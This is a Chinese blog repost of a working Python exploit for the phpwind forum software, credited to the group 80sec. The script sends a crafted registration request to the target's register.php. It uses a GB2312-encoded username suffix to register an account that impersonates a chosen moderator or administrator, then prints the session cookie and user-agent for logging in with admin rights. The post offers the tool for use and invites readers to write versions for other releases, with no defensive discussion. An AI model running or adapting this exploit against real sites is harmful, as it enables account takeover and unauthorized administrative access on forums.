phpwind管理权限泄露漏洞+利用程序

Python代码 各位大大自己分析写其他版吧
常来http://www.80sec.com

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本管理权限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print "jianxin@80sec.com"
    print "80sec是一个新的致力于web安全的小团体"
    print "http://www.80sec.com"

def usage():
    banner()
    print "Usage:
"
    print "   $ ./phpwind.py pwforumurl usertoattack
"
    print "   pwforumurl    目标论坛地址如http://www.80sec.com/"
    print "   usertoattack    目标拥有权限的斑竹或管理员"
    print "   攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
    print "   最新版本可以使用uid登陆"
    print "   其他版本可以使用cookie+useragent登陆"
    print "########################################################"
    print ""

argvs=sys.argv
usage()

data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
    url     = pwurl ,
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
        data    = data)

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
    if cookie.index('winduser'):
        print "Exploit Success!"
        print "Login with uid password @80sec or Cookie:"
        print cookie
        print "User-agent: 80sec owned this"
except:
    print "Error! http://www.80sec.com"
    print "Connect root#80sec.com"

本文固定链接: http://www.daopo.org/2008/06/01/phpwind-management-authority-to-use-procedures-for-disclosure-vulnerability/ | 天晴轩

该日志由 天晴 于2008年06月01日发表在 Articles 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: phpwind管理权限泄露漏洞+利用程序 | 天晴轩
关键字: , , , , ,

phpwind管理权限泄露漏洞+利用程序:等您坐沙发呢!

发表评论

快捷键:Ctrl+Enter